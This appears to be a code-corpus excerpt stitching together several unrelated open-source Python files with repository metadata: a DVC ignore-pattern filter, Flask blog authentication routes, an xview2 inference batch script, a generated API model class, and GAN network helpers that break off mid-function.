self.ignores.add(ignore_pattern_trie)
dirs[:], _ = self(root, dirs, [])
def _get_ignore_pattern(self, dirname):
ignore_file_path = os.path.join(dirname, DvcIgnore.DVCIGNORE_FILE)
if self.tree.exists(ignore_file_path):
return DvcIgnorePatterns.from_files(ignore_file_path, self.tree)
return None
def __call__(self, root, dirs, files):
for ignore in self.ignores:
dirs, files = ignore(root, dirs, files)
return dirs, files
def is_ignored_dir(self, path):
if not self._parents_exist(path):
return True
path = os.path.abspath(path)
if path == self.root_dir:
return False
dirname, basename = os.path.split(path)
dirs, _ = self(dirname, [basename], [])
return not dirs
def is_ignored_file(self, path):
if not self._parents_exist(path):
return True
dirname, basename = os.path.split(os.path.normpath(path))
_, files = self(os.path.abspath(dirname), [], [basename])
return not files
def _parents_exist(self, path):
from dvc.repo import Repo
path = PathInfo(path)
# if parent is root_dir or inside a .dvc dir we can skip this check
if path.parent == self.root_dir or Repo.DVC_DIR in path.parts:
return True
# paths outside of the repo should be ignored
path = relpath(path, self.root_dir)
if path.startswith("..") or (
os.name == "nt"
and not os.path.commonprefix(
[os.path.abspath(path), self.root_dir]
)
):
return False
# check if parent directories are in our ignores, starting from
# root_dir
for parent_dir in reversed(PathInfo(path).parents):
dirname, basename = os.path.split(parent_dir)
if basename == ".":
# parent_dir == root_dir
continue
dirs, _ = self(os.path.abspath(dirname), [basename], [])
if not dirs:
return False
return True
| 30.350394 | 77 | 0.609936 | import logging
import os
import re
from itertools import groupby
from pathspec.patterns import GitWildMatchPattern
from pathspec.util import normalize_file
from pygtrie import StringTrie
from dvc.path_info import PathInfo
from dvc.pathspec_math import merge_patterns
from dvc.system import System
from dvc.utils import relpath
logger = logging.getLogger(__name__)
class DvcIgnore:
DVCIGNORE_FILE = ".dvcignore"
def __call__(self, root, dirs, files):
raise NotImplementedError
class DvcIgnorePatterns(DvcIgnore):
def __init__(self, pattern_list, dirname):
self.pattern_list = pattern_list
self.dirname = dirname
self.prefix = self.dirname + os.sep
regex_pattern_list = map(
GitWildMatchPattern.pattern_to_regex, pattern_list
)
self.ignore_spec = [
(ignore, re.compile("|".join(item[0] for item in group)))
for ignore, group in groupby(regex_pattern_list, lambda x: x[1])
if ignore is not None
]
@classmethod
def from_files(cls, ignore_file_path, tree):
assert os.path.isabs(ignore_file_path)
dirname = os.path.normpath(os.path.dirname(ignore_file_path))
with tree.open(ignore_file_path, encoding="utf-8") as fobj:
path_spec_lines = [
line for line in map(str.strip, fobj.readlines()) if line
]
return cls(path_spec_lines, dirname)
def __call__(self, root, dirs, files):
files = [f for f in files if not self.matches(root, f)]
dirs = [d for d in dirs if not self.matches(root, d, True)]
return dirs, files
def matches(self, dirname, basename, is_dir=False):
if dirname == self.dirname:
path = basename
elif dirname.startswith(self.prefix):
rel = dirname[len(self.prefix) :]
path = f"{rel}{os.sep}{basename}"
else:
return False
if not System.is_unix():
path = normalize_file(path)
return self.ignore(path, is_dir)
def ignore(self, path, is_dir):
result = False
if is_dir:
path_dir = f"{path}/"
for ignore, pattern in self.ignore_spec:
if pattern.match(path) or pattern.match(path_dir):
result = ignore
else:
for ignore, pattern in self.ignore_spec:
if pattern.match(path):
result = ignore
return result
def __hash__(self):
return hash(self.dirname + ":" + "\n".join(self.pattern_list))
def __eq__(self, other):
if not isinstance(other, DvcIgnorePatterns):
return NotImplemented
return (self.dirname == other.dirname) & (
self.pattern_list == other.pattern_list
)
def __bool__(self):
return bool(self.pattern_list)
class DvcIgnorePatternsTrie(DvcIgnore):
trie = None
def __init__(self):
if self.trie is None:
self.trie = StringTrie(separator=os.sep)
def __call__(self, root, dirs, files):
ignore_pattern = self[root]
if ignore_pattern:
return ignore_pattern(root, dirs, files)
return dirs, files
def __setitem__(self, root, ignore_pattern):
base_pattern = self[root]
common_dirname, merged_pattern = merge_patterns(
base_pattern.dirname,
base_pattern.pattern_list,
ignore_pattern.dirname,
ignore_pattern.pattern_list,
)
self.trie[root] = DvcIgnorePatterns(merged_pattern, common_dirname)
def __getitem__(self, root):
ignore_pattern = self.trie.longest_prefix(root)
if ignore_pattern:
return ignore_pattern.value
return DvcIgnorePatterns([], root)
class DvcIgnoreDirs(DvcIgnore):
def __init__(self, basenames):
self.basenames = set(basenames)
def __call__(self, root, dirs, files):
dirs = [d for d in dirs if d not in self.basenames]
return dirs, files
def __hash__(self):
return hash(tuple(self.basenames))
def __eq__(self, other):
if not isinstance(other, DvcIgnoreDirs):
return NotImplemented
return self.basenames == other.basenames
class DvcIgnoreRepo(DvcIgnore):
def __call__(self, root, dirs, files):
def is_dvc_repo(directory):
from dvc.repo import Repo
return os.path.isdir(os.path.join(root, directory, Repo.DVC_DIR))
dirs = [d for d in dirs if not is_dvc_repo(d)]
return dirs, files
class DvcIgnoreFilterNoop:
def __init__(self, tree, root_dir):
pass
def __call__(self, root, dirs, files):
return dirs, files
def is_ignored_dir(self, _):
return False
def is_ignored_file(self, _):
return False
class DvcIgnoreFilter:
def __init__(self, tree, root_dir):
self.tree = tree
self.root_dir = root_dir
self.ignores = {
DvcIgnoreDirs([".git", ".hg", ".dvc"]),
DvcIgnoreRepo(),
}
ignore_pattern_trie = DvcIgnorePatternsTrie()
for root, dirs, _ in self.tree.walk(self.root_dir):
ignore_pattern = self._get_ignore_pattern(root)
if ignore_pattern:
ignore_pattern_trie[root] = ignore_pattern
self.ignores.add(ignore_pattern_trie)
dirs[:], _ = self(root, dirs, [])
def _get_ignore_pattern(self, dirname):
ignore_file_path = os.path.join(dirname, DvcIgnore.DVCIGNORE_FILE)
if self.tree.exists(ignore_file_path):
return DvcIgnorePatterns.from_files(ignore_file_path, self.tree)
return None
def __call__(self, root, dirs, files):
for ignore in self.ignores:
dirs, files = ignore(root, dirs, files)
return dirs, files
def is_ignored_dir(self, path):
if not self._parents_exist(path):
return True
path = os.path.abspath(path)
if path == self.root_dir:
return False
dirname, basename = os.path.split(path)
dirs, _ = self(dirname, [basename], [])
return not dirs
def is_ignored_file(self, path):
if not self._parents_exist(path):
return True
dirname, basename = os.path.split(os.path.normpath(path))
_, files = self(os.path.abspath(dirname), [], [basename])
return not files
def _parents_exist(self, path):
from dvc.repo import Repo
path = PathInfo(path)
if path.parent == self.root_dir or Repo.DVC_DIR in path.parts:
return True
path = relpath(path, self.root_dir)
if path.startswith("..") or (
os.name == "nt"
and not os.path.commonprefix(
[os.path.abspath(path), self.root_dir]
)
):
return False
for parent_dir in reversed(PathInfo(path).parents):
dirname, basename = os.path.split(parent_dir)
if basename == ".":
continue
dirs, _ = self(os.path.abspath(dirname), [basename], [])
if not dirs:
return False
return True
| true | true |
f726248f250b43e625a1784113284065ec6f8efa | 6,073 | py | Python | app/auth/routes.py | Alexsik76/flask_blog | e780469afe246a56c4e5c5744d16cf8cb7da9374 | [
"Apache-2.0"
] | null | null | null | app/auth/routes.py | Alexsik76/flask_blog | e780469afe246a56c4e5c5744d16cf8cb7da9374 | [
"Apache-2.0"
] | null | null | null | app/auth/routes.py | Alexsik76/flask_blog | e780469afe246a56c4e5c5744d16cf8cb7da9374 | [
"Apache-2.0"
] | null | null | null | import os
from functools import wraps
from flask import flash, redirect, render_template, url_for, current_app, Markup, request
from flask_login import login_user, login_required, logout_user, current_user
from app.auth import bp
from app.auth.forms import SignUpForm, RegistrationForm, LoginForm, ResetPasswordForm, NewPasswordForm, UserForm
from app.auth.email import send_email
from itsdangerous import URLSafeTimedSerializer
from app.models import User
from app import db
def offer_to_log_in(email: str):
href = f"""<a href="{url_for('auth.login', email=email)}" class="danger-link">Log In</a>"""
message = f"The email: {email} is used. Please {href}."
flash(Markup(message), 'danger')
def get_email_from_token(token):
serializer = URLSafeTimedSerializer(current_app.config['SECRET_KEY'])
email = serializer.loads(token, salt=current_app.config['SECURITY_PASSWORD_SALT'])
return email
def redirect_authenticated(f):
@wraps(f)
def decorated_function(*args, **kwargs):
if current_user.is_authenticated and current_user.email == get_email_from_token(kwargs.get('token')):
return redirect(url_for('main.index'))
return f(*args, **kwargs)
return decorated_function
@bp.route('/signup', methods=['GET', 'POST'])
async def signup():
form = SignUpForm()
is_busy = bool(User.query.filter_by(email=form.email.data).first())
if form.validate_on_submit() and not is_busy:
res = await send_email(form.email.data, goal='registration')
print(res)
flash(f'To continue registration, follow the link in the letter.', 'info')
return redirect(url_for('main.index'))
elif is_busy:
offer_to_log_in(form.email.data)
return render_template('auth/signup.html', form=form)
@bp.route('/register/<token>', methods=['GET', 'POST'])
@redirect_authenticated
def register(token):
form = RegistrationForm()
email = get_email_from_token(token)
if bool(User.query.filter_by(email=email).first()):
offer_to_log_in(email)
return redirect(url_for('main.index'))
form.email.data = email
if form.validate_on_submit():
new_user = User(
email=email, # noqa
first_name=form.first_name.data, # noqa
last_name=form.last_name.data, # noqa
is_admin=True if email == current_app.config['ADMIN_EMAIL'] else False # noqa
)
new_user.set_password(form.password.data)
print(f'{new_user.is_admin:=}')
db.session.add(new_user)
db.session.commit()
if not os.path.isdir(os.path.join(current_app.config['UPLOAD_PATH'], str(new_user.id))):
os.mkdir(os.path.join(current_app.config['UPLOAD_PATH'], str(new_user.id)))
flash('You can log in', 'success')
return redirect(url_for('main.index'))
return render_template('auth/register.html', form=form)
@bp.route('/login', methods=['GET', 'POST'])
def login():
form = LoginForm()
if email := request.args.get('email'):
form.email.data = email
if form.validate_on_submit():
user = User.query.filter_by(email=form.email.data).first()
if not user:
flash(f'User with email {form.email.data} not registered', 'danger')
return redirect(url_for('auth.signup'))
elif not user.check_password(form.password.data):
flash('Wrong password', 'danger')
return redirect(url_for('main.index'))
else:
login_user(user, remember=form.remember_me.data)
flash(f'Hi, {user.first_name}!', 'success')
return redirect(url_for('main.index'))
return render_template('auth/login.html', form=form)
@bp.route('/log_out', methods=['GET', 'POST'])
@login_required
def log_out():
logout_user()
flash('You are logged out', 'info')
return redirect(url_for('main.index'))
@bp.route('/reset_password', methods=['GET', 'POST'])
def reset_password():
form = ResetPasswordForm()
if current_user.is_authenticated:
form.email.data = current_user.email
form.email.render_kw = {'disabled': True}
is_present = bool(User.query.filter_by(email=form.email.data).first())
if form.validate_on_submit():
if is_present:
send_email(form.email.data, goal='reset')
flash('To continue reset password, follow the link in the letter.', 'info')
return redirect(url_for('main.index'))
else:
href = f"""<a href="{url_for('auth.signup', email=form.email.data)}" class="danger-link">Sign up</a>"""
message = f"The email: {form.email.data} not founded. Please {href} or use correct email."
flash(Markup(message), 'danger')
return render_template('auth/signup.html', form=form)
@bp.route('/new_password/<token>', methods=['GET', 'POST'])
def new_password(token):
form = NewPasswordForm()
serializer = URLSafeTimedSerializer(current_app.config['SECRET_KEY'])
email = serializer.loads(token, salt=current_app.config['SECURITY_PASSWORD_SALT'])
form.email.data = email
user = User.query.filter_by(email=email).first()
if form.validate_on_submit():
user.set_password(form.password.data)
db.session.commit()
flash('Password was changed. You can log in', 'success')
return redirect(url_for('main.index'))
elif form.is_submitted():
return render_template('auth/new_password.html', form=form), 422
return render_template('auth/new_password.html', form=form)
@bp.route('/user_page', methods=['GET', 'POST'])
@login_required
def user_page():
form = UserForm(obj=current_user)
if form.validate_on_submit():
is_changed = False
for field in 'email', 'first_name', 'last_name':
if getattr(form, field).data is not getattr(current_user, field):
setattr(current_user, field, getattr(form, field).data)
is_changed = True
if is_changed:
db.session.commit()
return render_template('auth/user_page.html', form=form)
| 39.953947 | 115 | 0.668698 | import os
from functools import wraps
from flask import flash, redirect, render_template, url_for, current_app, Markup, request
from flask_login import login_user, login_required, logout_user, current_user
from app.auth import bp
from app.auth.forms import SignUpForm, RegistrationForm, LoginForm, ResetPasswordForm, NewPasswordForm, UserForm
from app.auth.email import send_email
from itsdangerous import URLSafeTimedSerializer
from app.models import User
from app import db
def offer_to_log_in(email: str):
href = f"""<a href="{url_for('auth.login', email=email)}" class="danger-link">Log In</a>"""
message = f"The email: {email} is used. Please {href}."
flash(Markup(message), 'danger')
def get_email_from_token(token):
serializer = URLSafeTimedSerializer(current_app.config['SECRET_KEY'])
email = serializer.loads(token, salt=current_app.config['SECURITY_PASSWORD_SALT'])
return email
def redirect_authenticated(f):
@wraps(f)
def decorated_function(*args, **kwargs):
if current_user.is_authenticated and current_user.email == get_email_from_token(kwargs.get('token')):
return redirect(url_for('main.index'))
return f(*args, **kwargs)
return decorated_function
@bp.route('/signup', methods=['GET', 'POST'])
async def signup():
form = SignUpForm()
is_busy = bool(User.query.filter_by(email=form.email.data).first())
if form.validate_on_submit() and not is_busy:
res = await send_email(form.email.data, goal='registration')
print(res)
flash(f'To continue registration, follow the link in the letter.', 'info')
return redirect(url_for('main.index'))
elif is_busy:
offer_to_log_in(form.email.data)
return render_template('auth/signup.html', form=form)
@bp.route('/register/<token>', methods=['GET', 'POST'])
@redirect_authenticated
def register(token):
form = RegistrationForm()
email = get_email_from_token(token)
if bool(User.query.filter_by(email=email).first()):
offer_to_log_in(email)
return redirect(url_for('main.index'))
form.email.data = email
if form.validate_on_submit():
new_user = User(
email=email,
first_name=form.first_name.data,
last_name=form.last_name.data,
is_admin=True if email == current_app.config['ADMIN_EMAIL'] else False
)
new_user.set_password(form.password.data)
print(f'{new_user.is_admin:=}')
db.session.add(new_user)
db.session.commit()
if not os.path.isdir(os.path.join(current_app.config['UPLOAD_PATH'], str(new_user.id))):
os.mkdir(os.path.join(current_app.config['UPLOAD_PATH'], str(new_user.id)))
flash('You can log in', 'success')
return redirect(url_for('main.index'))
return render_template('auth/register.html', form=form)
@bp.route('/login', methods=['GET', 'POST'])
def login():
form = LoginForm()
if email := request.args.get('email'):
form.email.data = email
if form.validate_on_submit():
user = User.query.filter_by(email=form.email.data).first()
if not user:
flash(f'User with email {form.email.data} not registered', 'danger')
return redirect(url_for('auth.signup'))
elif not user.check_password(form.password.data):
flash('Wrong password', 'danger')
return redirect(url_for('main.index'))
else:
login_user(user, remember=form.remember_me.data)
flash(f'Hi, {user.first_name}!', 'success')
return redirect(url_for('main.index'))
return render_template('auth/login.html', form=form)
@bp.route('/log_out', methods=['GET', 'POST'])
@login_required
def log_out():
logout_user()
flash('You are logged out', 'info')
return redirect(url_for('main.index'))
@bp.route('/reset_password', methods=['GET', 'POST'])
def reset_password():
form = ResetPasswordForm()
if current_user.is_authenticated:
form.email.data = current_user.email
form.email.render_kw = {'disabled': True}
is_present = bool(User.query.filter_by(email=form.email.data).first())
if form.validate_on_submit():
if is_present:
send_email(form.email.data, goal='reset')
flash('To continue reset password, follow the link in the letter.', 'info')
return redirect(url_for('main.index'))
else:
href = f"""<a href="{url_for('auth.signup', email=form.email.data)}" class="danger-link">Sign up</a>"""
message = f"The email: {form.email.data} not founded. Please {href} or use correct email."
flash(Markup(message), 'danger')
return render_template('auth/signup.html', form=form)
@bp.route('/new_password/<token>', methods=['GET', 'POST'])
def new_password(token):
form = NewPasswordForm()
serializer = URLSafeTimedSerializer(current_app.config['SECRET_KEY'])
email = serializer.loads(token, salt=current_app.config['SECURITY_PASSWORD_SALT'])
form.email.data = email
user = User.query.filter_by(email=email).first()
if form.validate_on_submit():
user.set_password(form.password.data)
db.session.commit()
flash('Password was changed. You can log in', 'success')
return redirect(url_for('main.index'))
elif form.is_submitted():
return render_template('auth/new_password.html', form=form), 422
return render_template('auth/new_password.html', form=form)
@bp.route('/user_page', methods=['GET', 'POST'])
@login_required
def user_page():
form = UserForm(obj=current_user)
if form.validate_on_submit():
is_changed = False
for field in 'email', 'first_name', 'last_name':
if getattr(form, field).data is not getattr(current_user, field):
setattr(current_user, field, getattr(form, field).data)
is_changed = True
if is_changed:
db.session.commit()
return render_template('auth/user_page.html', form=form)
| true | true |
f7262560c667d65265155dbba12d860d64d7e43a | 1,450 | py | Python | utils/prediction.py | catskillsresearch/xview2-catskills | 5671cff323c8121c0ae251e360e454a1e8568f58 | [
"BSD-3-Clause"
] | null | null | null | utils/prediction.py | catskillsresearch/xview2-catskills | 5671cff323c8121c0ae251e360e454a1e8568f58 | [
"BSD-3-Clause"
] | null | null | null | utils/prediction.py | catskillsresearch/xview2-catskills | 5671cff323c8121c0ae251e360e454a1e8568f58 | [
"BSD-3-Clause"
] | null | null | null | #!/home/catskills/anaconda3/envs/xview2/bin/python
import glob, os
from shutil import copyfile
from tqdm import tqdm
from subprocess import call
from IPython.utils.path import ensure_dir_exists
# os.environ["CUDA_VISIBLE_DEVICES"]="1" # second gpu
VERSION=os.getenv('VERSION')
PROJECT='xview2-catskills'
USERDIR='/home/catskills/Desktop'
CODEDIR=f'{USERDIR}/{PROJECT}'
DATADIR=f'{USERDIR}/dataxv2'
TESTDIR=f'{DATADIR}/test/images/'
SUBMIT_DIR=f'{DATADIR}/{VERSION}_submit_001'
MODEL_DIR=f'/home/catskills/Desktop/dataxv2/release/{VERSION}'
LOCALIZATION_MODEL=f'{MODEL_DIR}/localization.hdf5'
DAMAGE_MODEL=f'{MODEL_DIR}/classification.hdf5'
ensure_dir_exists(SUBMIT_DIR)
files = glob.glob(f'{TESTDIR}test_pre_*.png')
for pre_png in tqdm(files):
post_png = pre_png.replace('_pre_','_post_')
image_id = pre_png.split('.')[0].split('/')[-1].split('_')[-1]
out_damage_png = f'{SUBMIT_DIR}/test_damage_{image_id}_prediction.png'
if os.path.isfile(out_damage_png):
continue
out_local_json = f'{SUBMIT_DIR}/test_localization_{image_id}_prediction.json'
out_local_png = f'{SUBMIT_DIR}/test_localization_{image_id}_prediction.png'
C=f'./inference.sh -x {CODEDIR} -i {pre_png} -p {post_png} -l {LOCALIZATION_MODEL} -c {DAMAGE_MODEL} -o {out_damage_png} -y'
call(C, shell=True)
if os.path.isfile(out_damage_png):
copyfile(out_damage_png, out_local_png)
else:
print("PROCESS FAILED", image_id)
| 37.179487 | 128 | 0.743448 |
import glob, os
from shutil import copyfile
from tqdm import tqdm
from subprocess import call
from IPython.utils.path import ensure_dir_exists
getenv('VERSION')
PROJECT='xview2-catskills'
USERDIR='/home/catskills/Desktop'
CODEDIR=f'{USERDIR}/{PROJECT}'
DATADIR=f'{USERDIR}/dataxv2'
TESTDIR=f'{DATADIR}/test/images/'
SUBMIT_DIR=f'{DATADIR}/{VERSION}_submit_001'
MODEL_DIR=f'/home/catskills/Desktop/dataxv2/release/{VERSION}'
LOCALIZATION_MODEL=f'{MODEL_DIR}/localization.hdf5'
DAMAGE_MODEL=f'{MODEL_DIR}/classification.hdf5'
ensure_dir_exists(SUBMIT_DIR)
files = glob.glob(f'{TESTDIR}test_pre_*.png')
for pre_png in tqdm(files):
post_png = pre_png.replace('_pre_','_post_')
image_id = pre_png.split('.')[0].split('/')[-1].split('_')[-1]
out_damage_png = f'{SUBMIT_DIR}/test_damage_{image_id}_prediction.png'
if os.path.isfile(out_damage_png):
continue
out_local_json = f'{SUBMIT_DIR}/test_localization_{image_id}_prediction.json'
out_local_png = f'{SUBMIT_DIR}/test_localization_{image_id}_prediction.png'
C=f'./inference.sh -x {CODEDIR} -i {pre_png} -p {post_png} -l {LOCALIZATION_MODEL} -c {DAMAGE_MODEL} -o {out_damage_png} -y'
call(C, shell=True)
if os.path.isfile(out_damage_png):
copyfile(out_damage_png, out_local_png)
else:
print("PROCESS FAILED", image_id)
| true | true |
f726258904982674e78e973db19b6f500c57c842 | 7,783 | py | Python | integration/python/integration_api/models/baas_sub_account_vo.py | sumit4-ttn/SDK | b3ae385e5415e47ac70abd0b3fdeeaeee9aa7cff | [
"Apache-2.0"
] | null | null | null | integration/python/integration_api/models/baas_sub_account_vo.py | sumit4-ttn/SDK | b3ae385e5415e47ac70abd0b3fdeeaeee9aa7cff | [
"Apache-2.0"
] | null | null | null | integration/python/integration_api/models/baas_sub_account_vo.py | sumit4-ttn/SDK | b3ae385e5415e47ac70abd0b3fdeeaeee9aa7cff | [
"Apache-2.0"
] | null | null | null | # coding: utf-8
"""
Hydrogen Integration API
The Hydrogen Integration API # noqa: E501
OpenAPI spec version: 1.2.1
Contact: info@hydrogenplatform.com
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import pprint
import re # noqa: F401
import six
class BaasSubAccountVO(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
"""
"""
Attributes:
swagger_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
swagger_types = {
'account_number': 'str',
'account_status': 'str',
'message': 'str',
'nucleus_portfolio_id': 'str',
'status': 'str',
'vendor_name': 'object',
'vendor_response': 'object'
}
attribute_map = {
'account_number': 'account_number',
'account_status': 'account_status',
'message': 'message',
'nucleus_portfolio_id': 'nucleus_portfolio_id',
'status': 'status',
'vendor_name': 'vendor_name',
'vendor_response': 'vendor_response'
}
def __init__(self, account_number=None, account_status=None, message=None, nucleus_portfolio_id=None, status=None, vendor_name=None, vendor_response=None): # noqa: E501
"""BaasSubAccountVO - a model defined in Swagger""" # noqa: E501
self._account_number = None
self._account_status = None
self._message = None
self._nucleus_portfolio_id = None
self._status = None
self._vendor_name = None
self._vendor_response = None
self.discriminator = None
if account_number is not None:
self.account_number = account_number
if account_status is not None:
self.account_status = account_status
if message is not None:
self.message = message
if nucleus_portfolio_id is not None:
self.nucleus_portfolio_id = nucleus_portfolio_id
if status is not None:
self.status = status
if vendor_name is not None:
self.vendor_name = vendor_name
if vendor_response is not None:
self.vendor_response = vendor_response
@property
def account_number(self):
"""Gets the account_number of this BaasSubAccountVO. # noqa: E501
:return: The account_number of this BaasSubAccountVO. # noqa: E501
:rtype: str
"""
return self._account_number
@account_number.setter
def account_number(self, account_number):
"""Sets the account_number of this BaasSubAccountVO.
:param account_number: The account_number of this BaasSubAccountVO. # noqa: E501
:type: str
"""
self._account_number = account_number
@property
def account_status(self):
"""Gets the account_status of this BaasSubAccountVO. # noqa: E501
:return: The account_status of this BaasSubAccountVO. # noqa: E501
:rtype: str
"""
return self._account_status
@account_status.setter
def account_status(self, account_status):
"""Sets the account_status of this BaasSubAccountVO.
:param account_status: The account_status of this BaasSubAccountVO. # noqa: E501
:type: str
"""
self._account_status = account_status
@property
def message(self):
"""Gets the message of this BaasSubAccountVO. # noqa: E501
:return: The message of this BaasSubAccountVO. # noqa: E501
:rtype: str
"""
return self._message
@message.setter
def message(self, message):
"""Sets the message of this BaasSubAccountVO.
:param message: The message of this BaasSubAccountVO. # noqa: E501
:type: str
"""
self._message = message
@property
def nucleus_portfolio_id(self):
"""Gets the nucleus_portfolio_id of this BaasSubAccountVO. # noqa: E501
:return: The nucleus_portfolio_id of this BaasSubAccountVO. # noqa: E501
:rtype: str
"""
return self._nucleus_portfolio_id
@nucleus_portfolio_id.setter
def nucleus_portfolio_id(self, nucleus_portfolio_id):
"""Sets the nucleus_portfolio_id of this BaasSubAccountVO.
:param nucleus_portfolio_id: The nucleus_portfolio_id of this BaasSubAccountVO. # noqa: E501
:type: str
"""
self._nucleus_portfolio_id = nucleus_portfolio_id
@property
def status(self):
"""Gets the status of this BaasSubAccountVO. # noqa: E501
:return: The status of this BaasSubAccountVO. # noqa: E501
:rtype: str
"""
return self._status
@status.setter
def status(self, status):
"""Sets the status of this BaasSubAccountVO.
:param status: The status of this BaasSubAccountVO. # noqa: E501
:type: str
"""
self._status = status
@property
def vendor_name(self):
"""Gets the vendor_name of this BaasSubAccountVO. # noqa: E501
:return: The vendor_name of this BaasSubAccountVO. # noqa: E501
:rtype: object
"""
return self._vendor_name
@vendor_name.setter
def vendor_name(self, vendor_name):
"""Sets the vendor_name of this BaasSubAccountVO.
:param vendor_name: The vendor_name of this BaasSubAccountVO. # noqa: E501
:type: object
"""
self._vendor_name = vendor_name
@property
def vendor_response(self):
"""Gets the vendor_response of this BaasSubAccountVO. # noqa: E501
:return: The vendor_response of this BaasSubAccountVO. # noqa: E501
:rtype: object
"""
return self._vendor_response
@vendor_response.setter
def vendor_response(self, vendor_response):
"""Sets the vendor_response of this BaasSubAccountVO.
:param vendor_response: The vendor_response of this BaasSubAccountVO. # noqa: E501
:type: object
"""
self._vendor_response = vendor_response
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.swagger_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
if issubclass(BaasSubAccountVO, dict):
for key, value in self.items():
result[key] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, BaasSubAccountVO):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
"""Returns true if both objects are not equal"""
return not self == other
| 28.613971 | 173 | 0.608634 |
import pprint
import re
import six
class BaasSubAccountVO(object):
swagger_types = {
'account_number': 'str',
'account_status': 'str',
'message': 'str',
'nucleus_portfolio_id': 'str',
'status': 'str',
'vendor_name': 'object',
'vendor_response': 'object'
}
attribute_map = {
'account_number': 'account_number',
'account_status': 'account_status',
'message': 'message',
'nucleus_portfolio_id': 'nucleus_portfolio_id',
'status': 'status',
'vendor_name': 'vendor_name',
'vendor_response': 'vendor_response'
}
def __init__(self, account_number=None, account_status=None, message=None, nucleus_portfolio_id=None, status=None, vendor_name=None, vendor_response=None):
self._account_number = None
self._account_status = None
self._message = None
self._nucleus_portfolio_id = None
self._status = None
self._vendor_name = None
self._vendor_response = None
self.discriminator = None
if account_number is not None:
self.account_number = account_number
if account_status is not None:
self.account_status = account_status
if message is not None:
self.message = message
if nucleus_portfolio_id is not None:
self.nucleus_portfolio_id = nucleus_portfolio_id
if status is not None:
self.status = status
if vendor_name is not None:
self.vendor_name = vendor_name
if vendor_response is not None:
self.vendor_response = vendor_response
@property
def account_number(self):
return self._account_number
@account_number.setter
def account_number(self, account_number):
self._account_number = account_number
@property
def account_status(self):
return self._account_status
@account_status.setter
def account_status(self, account_status):
self._account_status = account_status
@property
def message(self):
return self._message
@message.setter
def message(self, message):
self._message = message
@property
def nucleus_portfolio_id(self):
return self._nucleus_portfolio_id
@nucleus_portfolio_id.setter
def nucleus_portfolio_id(self, nucleus_portfolio_id):
self._nucleus_portfolio_id = nucleus_portfolio_id
@property
def status(self):
return self._status
@status.setter
def status(self, status):
self._status = status
@property
def vendor_name(self):
return self._vendor_name
@vendor_name.setter
def vendor_name(self, vendor_name):
self._vendor_name = vendor_name
@property
def vendor_response(self):
return self._vendor_response
@vendor_response.setter
def vendor_response(self, vendor_response):
self._vendor_response = vendor_response
def to_dict(self):
result = {}
for attr, _ in six.iteritems(self.swagger_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
if issubclass(BaasSubAccountVO, dict):
for key, value in self.items():
result[key] = value
return result
def to_str(self):
return pprint.pformat(self.to_dict())
def __repr__(self):
return self.to_str()
def __eq__(self, other):
if not isinstance(other, BaasSubAccountVO):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
return not self == other
| true | true |
f72627ba2a2e2ffe351a5d1e289253920619cb97 | 3,942 | py | Python | utils.py | ChristophReich1996/Mode_Collapse | 937ee8bf96510fbf4070fc7e14b78276ab036b8c | [
"MIT"
] | 14 | 2020-06-22T12:56:10.000Z | 2022-03-31T10:23:00.000Z | utils.py | ChristophReich1996/Mode_Collapse | 937ee8bf96510fbf4070fc7e14b78276ab036b8c | [
"MIT"
] | null | null | null | utils.py | ChristophReich1996/Mode_Collapse | 937ee8bf96510fbf4070fc7e14b78276ab036b8c | [
"MIT"
] | 2 | 2022-01-21T01:22:23.000Z | 2022-02-13T18:08:08.000Z | from typing import Optional
import torch
import torch.nn as nn
from torch.nn.utils import spectral_norm
import numpy as np
def get_generator(latent_size: int, use_spectral_norm: bool) -> nn.Module:
"""
Returns the generator network.
:param latent_size: (int) Size of the latent input vector
:param use_spectral_norm: (bool) If true spectral norm is utilized
:return: (nn.Module) Simple feed forward neural network with three layers,
"""
if use_spectral_norm:
return nn.Sequential(spectral_norm(nn.Linear(latent_size, 256, bias=True)),
nn.LeakyReLU(),
spectral_norm(nn.Linear(256, 256, bias=True)),
nn.LeakyReLU(),
spectral_norm(nn.Linear(256, 256, bias=True)),
nn.LeakyReLU(),
spectral_norm(nn.Linear(256, 256, bias=True)),
nn.Tanh(),
spectral_norm(nn.Linear(256, 2, bias=True)))
return nn.Sequential(nn.Linear(latent_size, 256, bias=True),
nn.LeakyReLU(),
nn.Linear(256, 256, bias=True),
nn.LeakyReLU(),
nn.Linear(256, 256, bias=True),
nn.LeakyReLU(),
nn.Linear(256, 256, bias=True),
nn.Tanh(),
nn.Linear(256, 2, bias=True))
def get_discriminator(use_spectral_norm: bool) -> nn.Module:
"""
Returns the discriminator network.
:param use_spectral_norm: (bool) If true spectral norm is utilized
:return: (nn.Module) Simple feed forward neural network with three layers and probability output.
"""
if use_spectral_norm:
return nn.Sequential(spectral_norm(nn.Linear(2, 256, bias=True)),
nn.LeakyReLU(),
spectral_norm(nn.Linear(256, 256, bias=True)),
nn.LeakyReLU(),
spectral_norm(nn.Linear(256, 256, bias=True)),
nn.LeakyReLU(),
spectral_norm(nn.Linear(256, 256, bias=True)),
nn.LeakyReLU(),
spectral_norm(nn.Linear(256, 1, bias=True)))
return nn.Sequential(nn.Linear(2, 256, bias=True),
nn.LeakyReLU(),
